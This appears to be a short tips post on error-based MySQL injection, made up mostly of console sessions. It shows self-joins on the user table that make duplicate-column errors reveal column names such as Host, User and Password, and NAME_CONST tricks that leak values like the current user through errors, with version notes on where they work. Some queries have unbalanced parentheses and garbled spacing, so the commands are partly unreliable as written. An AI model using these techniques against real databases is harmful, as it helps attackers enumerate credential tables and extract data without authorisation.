New Tips in MySQL Injection

// Use MySQL to expose fields with errors
Mysql> SELECT * FROM (SELECT * FROM user a join user B) C;
ERROR 1060 (42S21): Duplicate column name Host
Mysql> SELECT * FROM (SELECT * FROM user a join user B USING (Host) C;
ERROR 1060 (42S21): Duplicate column name User
Mysql> SELECT * FROM (SELECT * FROM user a join user B USING (Host, User) C;
ERROR 1060 (42S21): Duplicate column name Password
.....
// Obtain information
// It may be a version problem. I failed to test it.
Mysql> SELECT NAME_CONST (SELECT Host FROM user LIMIT 0, 1), 0 );
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
It seems that the NAME_CONST parameter must be CONST or something is wrong.
Try again next time.

Update: It is indeed a version problem (the parameters in the higher version must be all const; otherwise, an error is reported). This method does not seem quite universal.
Mysql> SELECT version ();
+ --------------------- +
| Version () |
+ --------------------- +
| 5.0.27-community-nt |
+ --------------------- +
1 row in set (0.00 sec)

Mysql> SELECT NAME_CONST (SELECT user (), 0 );
+ ---------------- +
| Root @ localhost |
+ ---------------- +
| 0 |
+ ---------------- +
1 row in set (0.00 sec)

-------------------------------------
Mysql> SELECT version ();
+ ------------------ +
| Version () |
+ ------------------ +
| 5.1.35-community |
+ ------------------ +
1 row in set (0.00 sec)

Mysql> SELECT NAME_CONST (SELECT version (), 0 );
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST